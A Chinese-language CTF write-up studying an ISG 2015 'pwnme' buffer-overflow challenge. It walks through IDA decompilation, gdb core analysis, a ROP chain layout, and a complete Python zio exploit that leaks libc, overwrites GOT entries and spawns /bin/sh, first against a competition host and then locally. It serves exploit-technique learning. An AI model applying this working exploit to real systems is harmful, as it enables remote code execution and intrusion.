最近在学习ISG2015比赛的 FlappyPig 的writeup(http://bobao.360.cn/learning/detail/702.html),对其中的pwn比较感兴趣,因此查阅了部分资料后对poc进行了研究。
其中在csdn上海枫的专栏(http://blog.csdn.net/column/details/buffer-overflow.html)非常深刻的讲解了缓冲区溢出漏洞原理、实践和不同溢出攻击的技术分析,非常好,值得深看。
其次乌云知识平台上的linux常见漏洞利用技术实践(http://drops.wooyun.org/binary/6521),对如何利用缓冲溢出进行了入门的讲解。
实验环境是
root@mifan:~/Desktop/isg/pwnme# cat /etc/debian_version
Kali Linux 2.0
root@mifan:~/Desktop/isg/pwnme# uname -a
Linux mifan 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux
同ida反汇编得到存在漏洞的程序如下:
int sub_804847D()
{
int v1; // [sp+18h] [bp-8h]@1
alarm(0x3Cu);
write(1, "Welcome to ISG 2015!\nPwn me to get the flag:\n", 0x2Du);
read(0, &v1, 0x100u);
return 0;
}
运行程序,尝试最后得到如下几个:
root@mifan:~/Desktop/isg/pwnme# python -c "print 'A'*20+'BBBB'"|./pwnme
Welcome to ISG 2015!
Pwn me to get the flag:
Segmentation fault (core dumped)
注意:如果没有产生coredump,可以通过ulimit -c unlimited设置
确定是否覆盖了返回eip可以查看海枫的《缓冲区溢出攻击实践》(http://blog.csdn.net/linyt/article/details/43283331)
分析core文件
root@mifan:~/Desktop/isg/pwnme# gdb pwnme core
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pwnme...(no debugging symbols found)...done.
[New LWP 1451]
Core was generated by `./pwnme'.
Program terminated with signal SIGSEGV, Segmentation fault.
**#0 0x42424242 in ?? ()**
这里已经覆盖了,因此攻击的字符串就是20个’A’+shellcode
Shellcode结构分析
Pwnme100 提供了lib库,因此可以通过ret2plt(参考使用ret2plt绕过libc安全区:http://blog.csdn.net/linyt/article/details/47429823)技术获取系统shell。
而FlappyPig 的攻击思路大致是
shellcode结构如下:
stack | desc |
---|---|
/bin/bash;\n | system_got的参数 |
pop | |
write | 最后跳转到system_got |
9 | Read参数3 |
read_got_address | Read参数2 |
0 | Read参数1 |
ppp | Ret address |
Read_plt_address | Read参数,读取/bin/bash,修改read-got地址内容为/bin/bash |
4 | Read参数3 |
write_got_address | Read参数2 |
0 | Read参数1,system的got地址从这里获取 |
ppp | Ret address |
read_plt_address | Read函数,读取system的got地址,修改write-got地址为system-got地址 |
4 | Write 参数3 |
write_got_address | Write 参数2 |
1 | Write 参数1 |
ppp | Ret address |
write_plt_address | 覆盖的eip,用于返回write-got地址 |
buf | 覆盖栈空间 |
因此poc内容现在就能够看懂:
__author__ = "pxx"
from zio import *
import struct
target = ("202.120.7.145", 9991)#"./pwnme"
def get_io(target):
io = zio(target, timeout = 9999)
return io
def full_buff(cur_data, length, ch_t = 'a'):
len_t = length - len(cur_data)
return cur_data + ch_t * len_t
def pwn(io):
io.read_until("the flag:\n")
io.gdb_hint()
data = full_buff("a", 16)
print "data len:", len(data)
write_plt_addr = l32(0x08048370)
read_plt_addr = l32(0x08048330)
read_got_addr = 0x0804a00c
write_got_addr = 0x0804a01c
ebp_str = l32(0x01010101)
p_ret = l32(0x08048311)
pp_ret = l32(0x0804853e)
ppp_ret = l32(0x0804853d)
#这里shellcode就是上面的逻辑,第一个write和(1)对应,后面的两个read分别和(2)、(3)对应。最后一个write_plt_addr + p_ret + l32(read_got_addr) 是调用system(“/bin/bash”)
shellcode = write_plt_addr + ppp_ret + l32(0x1) + l32(write_got_addr) + l32(0x4)
shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(write_got_addr) + l32(0x4)
shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(read_got_addr) + l32(0x9)
shellcode += write_plt_addr + p_ret + l32(read_got_addr)
payload = data + ebp_str + shellcode#这里的data和ebp_str 大小20个字节,覆盖缓冲区
io.write(payload + '\n')
data = io.read(0x4)#(1)
print len(data)
write_real_addr = l32(data)#得到write got的实际地址
print hex(write_real_addr)
libc_addr = write_real_addr - 0x000dac50 #得到差值
system_real_addr = libc_addr + 0x00040190#得到system函数的真实地址
binstr_real_addr = libc_addr + 0x160a24
io.write(l32(system_real_addr))#(2)发送system的got地址
io.write("/bin/sh;\n")#(3)发送system函数的参数
io.interact()
io = get_io(target)
pwn(io)
write等函数的plt和got定位
root@mifan:~/Desktop/isg/pwnme# objdump -d pwnme |grep "@plt >"
08048370 @plt>:
80484a9: e8 c2 fe ff ff call 8048370 @plt>
通过plt确定got
gdb pwnme core
...
(gdb) x /12i 0x8048370
0x8048370 <write@plt>: jmp *0x804a01c
0x8048376 <write@plt+6>: push $0x20
0x804837b <write@plt+11>: jmp 0x8048320
0x8048380: xor %ebp,%ebp
0x8048382: pop %esi
0x8048383: mov %esp,%ecx
0x8048385: and $0xfffffff0,%esp
0x8048388: push %eax
0x8048389: push %esp
0x804838a: push %edx
0x804838b: push $0x8048550
0x8048390: push $0x80484e0
(gdb) x /12i 0x804a01c
0x804a01c <write@got.plt>: pusha
0x804a01d <write@got.plt+1>: xchg %eax,%esi
0x804a01e <write@got.plt+2>: out %al,(%dx)
0x804a01f <write@got.plt+3>: mov $0x0,%bh
0x804a021: add %al,(%eax)
0x804a023: add %al,(%eax)
0x804a025: add %al,(%eax)
0x804a027: add %al,(%eax)
0x804a029: add %al,(%eax)
0x804a02b: add %al,(%eax)
0x804a02d: add %al,(%eax)
0x804a02f: add %al,(%eax)
同理可以确定read的got和plt
确定write和system在libc中地址
root@mifan:~/Desktop/isg/pwnme# objdump -d libc-2.19.so |grep -i "write"
17d03: e8 52 2f 0c 00 call dac5a <__write+0xa>
17d46: e8 0f 2f 0c 00 call dac5a <__write+0xa>
17d8f: e8 c6 2e 0c 00 call dac5a <__write+0xa>
19b88: e8 c3 10 0c 00 call dac50 <__write>
27796: e8 b5 34 0b 00 call dac50 <__write>
root@mifan:~/Desktop/isg/pwnme# objdump -d libc-2.19.so |grep -i "__libc_system"
3fc75: 0f 85 4d 05 00 00 jne 401c8 <__libc_system+0x38>
3fceb: 0f 85 e7 04 00 00 jne 401d8 <__libc_system+0x48>
3fde1: 0f 85 01 04 00 00 jne 401e8 <__libc_system+0x58>
3fe4c: 0f 85 a6 03 00 00 jne 401f8 <__libc_system+0x68>
3ff07: 0f 85 fb 02 00 00 jne 40208 <__libc_system+0x78>
3ff6e: 0f 85 a4 02 00 00 jne 40218 <__libc_system+0x88>
4011a: 0f 85 08 01 00 00 jne 40228 <__libc_system+0x98>
40177: 0f 85 bb 00 00 00 jne 40238 <__libc_system+0xa8>
00040190 <__libc_system>:
401a5: 74 09 je 401b0 <__libc_system+0x20>
此时上面各个数字意义也确定完成了。
由于没有环境了,在自己的环境上进行试验,只需要修改libc中的write和system地址即可
root@mifan:~/Desktop/isg/pwnme# ldd pwnme
linux-gate.so.1 (0xb7fff000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e30000)
/lib/ld-linux.so.2 (0x80000000)
root@mifan:~/Desktop/isg/pwnme# objdump -d /lib/i386-linux-gnu/i686/cmov/libc.so.6 |egrep -i "__write|__libc_system"
276c6: e8 95 1f 0b 00 call d9660 <__write>
3e351: 0f 85 b1 00 00 00 jne 3e408 <__libc_system+0xa8>
0003e360 <__libc_system>:
修改poc为:
__author__ = "pxx"
from zio import *
import struct
#target = ("202.120.7.145", 9991)#"./pwnme"
target ="./pwnme"
def get_io(target):
io = zio(target, timeout = 9999)
return io
def full_buff(cur_data, length, ch_t = 'a'):
len_t = length - len(cur_data)
return cur_data + ch_t * len_t
def pwn(io):
io.read_until("the flag:\n")
io.gdb_hint()
data = full_buff("a", 16)
print "data len:", len(data)
write_plt_addr = l32(0x08048370)
read_plt_addr = l32(0x08048330)
read_got_addr = 0x0804a00c
write_got_addr = 0x0804a01c
ebp_str = l32(0x01010101)
p_ret = l32(0x08048311)
pp_ret = l32(0x0804853e)
ppp_ret = l32(0x0804853d)
shellcode = write_plt_addr + ppp_ret + l32(0x1) + l32(write_got_addr) + l32(0x4)
shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(write_got_addr) + l32(0x4)
shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(read_got_addr) + l32(0x9)
shellcode += write_plt_addr + p_ret + l32(read_got_addr)
payload = data + ebp_str + shellcode
io.write(payload + '\n')
data = io.read(0x4)
print len(data)
write_real_addr = l32(data)
print hex(write_real_addr)
libc_addr = write_real_addr - 0x000d9660
system_real_addr = libc_addr + 0x0003e360
binstr_real_addr = libc_addr + 0x160a24
io.write(l32(system_real_addr))
io.write("/bin/sh;\n")
io.interact()
io = get_io(target)
pwn(io)
运行结果如下:
root@mifan:~/Desktop/isg/pwnme# python py_pwn.py
Welcome to ISG 2015!
Pwn me to get the flag:
zio -l 0.5 -b "For help" -a "`printf 'attach 1865\r\n'`" gdb
use cmdline above to attach gdb then press enter to continue ...
data len: 16
aaaaaaaaaaaaaaaa=
p
`
0xb7ee9660L
`䤷/bin/sh;
ls
core libc-2.19.idb libc-2.19.so pwnme pwnme.id2 pwnme.til py_pwn.py py_pwn.py2
cat py_pwn.py
__author__ = "pxx"
from zio import *
import struct
#target = ("202.120.7.145", 9991)#"./pwnme"
target ="./pwnme"
def get_io(target):
io = zio(target, timeout = 9999)
return io
def full_buff(cur_data, length, ch_t = 'a'):
len_t = length - len(cur_data)
return cur_data + ch_t * len_t